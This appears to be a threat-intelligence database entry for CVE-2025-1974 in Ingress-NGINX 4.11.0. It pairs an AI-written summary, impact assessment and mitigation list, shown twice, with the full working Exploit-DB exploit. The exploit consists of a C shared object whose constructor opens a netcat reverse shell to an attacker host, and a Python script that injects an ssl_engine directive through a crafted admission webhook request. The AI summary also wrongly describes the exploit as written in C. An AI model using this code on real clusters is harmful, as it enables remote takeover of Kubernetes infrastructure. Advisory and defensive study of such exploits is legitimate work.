Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
Ingress-NGINX version 4.11.0 is affected by a critical Remote Code Execution (RCE) vulnerability. Ingress-NGINX is a widely used Kubernetes ingress controller that manages external access to services within a Kubernetes cluster, typically routing HTTP and HTTPS traffic. The vulnerability allows an attacker to execute arbitrary code on the underlying host running the ingress controller. This type of vulnerability is particularly severe because it can lead to full system compromise, allowing attackers to deploy malware, pivot within the network, exfiltrate sensitive data, or disrupt services. The exploit code is publicly available and written in C, indicating that the vulnerability can be reliably exploited by attackers with knowledge of low-level system programming. Although no known exploits are currently observed in the wild, the presence of public exploit code significantly increases the risk of imminent attacks. The lack of specific affected versions in the provided data suggests that the vulnerability may impact the 4.11.0 release and possibly earlier versions, emphasizing the need for immediate attention. The absence of patch links indicates that a fix may not yet be publicly available or widely distributed, increasing the urgency for organizations to implement interim mitigations. Given the critical nature of ingress controllers in Kubernetes environments, exploitation could lead to widespread disruption and compromise of containerized applications and infrastructure.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Ingress-NGINX 4.11.0 is substantial. Many enterprises and service providers in Europe rely heavily on Kubernetes for cloud-native application deployment and management. A successful exploit could lead to unauthorized access to sensitive data, disruption of critical business services, and potential lateral movement within corporate networks. This could affect sectors such as finance, healthcare, telecommunications, and government, where Kubernetes adoption is significant. Additionally, regulatory frameworks like GDPR impose strict data protection requirements, and a breach resulting from this vulnerability could lead to severe legal and financial penalties. The ability to execute arbitrary code remotely without authentication or user interaction (implied by the nature of ingress controllers) means attackers can compromise systems stealthily and at scale, potentially affecting multi-tenant cloud environments and managed service providers operating in Europe.
Mitigation Recommendations
Given the criticality and the lack of publicly available patches, European organizations should immediately audit their Kubernetes environments to identify deployments running Ingress-NGINX 4.11.0. Until an official patch is released, organizations should consider the following mitigations: 1) Restrict network access to the ingress controller to trusted IP addresses and internal networks to reduce exposure. 2) Implement strict ingress and egress network policies within Kubernetes to limit potential attack vectors. 3) Monitor ingress controller logs and network traffic for unusual activity indicative of exploitation attempts. 4) Employ runtime security tools and endpoint detection and response (EDR) solutions to detect anomalous process execution or privilege escalations. 5) Consider temporarily disabling or replacing the ingress controller with a different version or alternative solution if feasible. 6) Stay updated with vendor advisories and apply patches immediately once available. 7) Conduct thorough incident response readiness exercises focusing on container and Kubernetes environments.
Affected Countries
Germany, France, United Kingdom, Netherlands, Sweden, Finland, Denmark, Ireland, Belgium, Italy
Indicators of Compromise
- exploit-code: # Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 2025-06-19 # Exploit Author: Likhith Appalaneni # Vendor Homepage: https://kubernetes.github.io/ingress-nginx/ # Software Link: https://github.com/kubernetes/ingress-nginx # Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube) # Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest # CVE : CVE-2025-1974 1) Update the attacker ip and listening port in shell.c and Compile the shell payload: gcc -fPIC -shared -o shell.so shell.c 2) Run the exploit: python3 exploit.py The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution. <---> shell.c <---> #include <stdlib.h> __attribute__((constructor)) void init() { system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'"); } <---> shell.c <---> <---> exploit.py <---> import json import requests import threading import time import urllib3 import socket import argparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def upload_shell_via_socket(file_path, target_host, target_port): print("[*] Uploading shell.so via raw socket to keep FD open...") try: with open(file_path, "rb") as f: data = f.read() data += b"\x00" * (16384 - len(data) % 16384) content_len = len(data) + 2024 payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.sendall(payload) print("[*] Payload sent, holding connection open for 220s...") time.sleep(220) sock.close() except Exception as e: print(f"[!] Upload failed: {e}") def build_payload(pid, fd): annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#" return { "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { "uid": "exploit-uid", "kind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "resource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "requestKind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "requestResource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "name": "example-ingress", "operation": "CREATE", "userInfo": { "username": "kube-review", "uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d" }, "object": { "kind": "Ingress", "apiVersion": "networking.k8s.io/v1", "metadata": { "name": "example-ingress", "annotations": { "nginx.ingress.kubernetes.io/auth-url": annotation } }, "spec": { "ingressClassName": "nginx", "rules": [ { "host": "hello-world.com", "http": { "paths": [ { "path": "/", "pathType": "Prefix", "backend": { "service": { "name": "web", "port": { "number": 8080 } } } } ] } } ] } }, "oldObject": None, "dryRun": False, "options": { "kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1" } } } def send_requests(admission_url, pid_range, fd_range): for pid in range(pid_range[0], pid_range[1]): for fd in range(fd_range[0], fd_range[1]): print(f"Trying /proc/{pid}/fd/{fd}") payload = build_payload(pid, fd) try: resp = requests.post( f"{admission_url}/networking/v1/ingresses", headers={"Content-Type": "application/json"}, data=json.dumps(payload), verify=False, timeout=5 ) result = resp.json() msg = result.get("response", {}).get("status", {}).get("message", "") if "No such file" in msg or "Permission denied" in msg: continue print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974") parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)") parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)") parser.add_argument("--shell", default="shell.so", help="Path to shell.so file") parser.add_argument("--pid-start", type=int, default=26) parser.add_argument("--pid-end", type=int, default=30) parser.add_argument("--fd-start", type=int, default=1) parser.add_argument("--fd-end", type=int, default=100) args = parser.parse_args() host = args.upload_url.split("://")[-1].split(":")[0] port = int(args.upload_url.split(":")[-1]) upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port)) upload_thread.start() time.sleep(3) send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end)) upload_thread.join() <---> exploit.py <--->
Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
Description
Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
Ingress-NGINX version 4.11.0 is affected by a critical Remote Code Execution (RCE) vulnerability. Ingress-NGINX is a widely used Kubernetes ingress controller that manages external access to services within a Kubernetes cluster, typically routing HTTP and HTTPS traffic. The vulnerability allows an attacker to execute arbitrary code on the underlying host running the ingress controller. This type of vulnerability is particularly severe because it can lead to full system compromise, allowing attackers to deploy malware, pivot within the network, exfiltrate sensitive data, or disrupt services. The exploit code is publicly available and written in C, indicating that the vulnerability can be reliably exploited by attackers with knowledge of low-level system programming. Although no known exploits are currently observed in the wild, the presence of public exploit code significantly increases the risk of imminent attacks. The lack of specific affected versions in the provided data suggests that the vulnerability may impact the 4.11.0 release and possibly earlier versions, emphasizing the need for immediate attention. The absence of patch links indicates that a fix may not yet be publicly available or widely distributed, increasing the urgency for organizations to implement interim mitigations. Given the critical nature of ingress controllers in Kubernetes environments, exploitation could lead to widespread disruption and compromise of containerized applications and infrastructure.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Ingress-NGINX 4.11.0 is substantial. Many enterprises and service providers in Europe rely heavily on Kubernetes for cloud-native application deployment and management. A successful exploit could lead to unauthorized access to sensitive data, disruption of critical business services, and potential lateral movement within corporate networks. This could affect sectors such as finance, healthcare, telecommunications, and government, where Kubernetes adoption is significant. Additionally, regulatory frameworks like GDPR impose strict data protection requirements, and a breach resulting from this vulnerability could lead to severe legal and financial penalties. The ability to execute arbitrary code remotely without authentication or user interaction (implied by the nature of ingress controllers) means attackers can compromise systems stealthily and at scale, potentially affecting multi-tenant cloud environments and managed service providers operating in Europe.
Mitigation Recommendations
Given the criticality and the lack of publicly available patches, European organizations should immediately audit their Kubernetes environments to identify deployments running Ingress-NGINX 4.11.0. Until an official patch is released, organizations should consider the following mitigations: 1) Restrict network access to the ingress controller to trusted IP addresses and internal networks to reduce exposure. 2) Implement strict ingress and egress network policies within Kubernetes to limit potential attack vectors. 3) Monitor ingress controller logs and network traffic for unusual activity indicative of exploitation attempts. 4) Employ runtime security tools and endpoint detection and response (EDR) solutions to detect anomalous process execution or privilege escalations. 5) Consider temporarily disabling or replacing the ingress controller with a different version or alternative solution if feasible. 6) Stay updated with vendor advisories and apply patches immediately once available. 7) Conduct thorough incident response readiness exercises focusing on container and Kubernetes environments.
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52338
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 2025-06-19 # Exploit Author: Likhith Appalaneni # Vendor Homepage: https://kubernetes.github.io/ingress-nginx/ # Software Link: https://github.com/kubernetes/ingress-nginx # Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube) # Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest # CVE : CVE-2025-1974 1) Update the attacker ip and listening port in shell.c and Compile the shell payloa... (6039 more characters)
Threat ID: 6856903f6504ee7903b59cca
Added to database: 6/21/2025, 10:58:07 AM
Last enriched: 7/16/2025, 9:25:18 PM
Last updated: 8/12/2025, 7:37:24 AM
Views: 44
Related Threats
BigAnt Office Messenger 5.6.06 - SQL Injection
MediumRiteCMS 3.0.0 - Reflected Cross Site Scripting (XSS)
MediumPHPMyAdmin 3.0 - Bruteforce Login Bypass
CriticalMicrosoft Windows 10.0.19045 - NTLMv2 Hash Disclosure
MediumSoosyze CMS 2.0 - Brute Force Login
CriticalActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.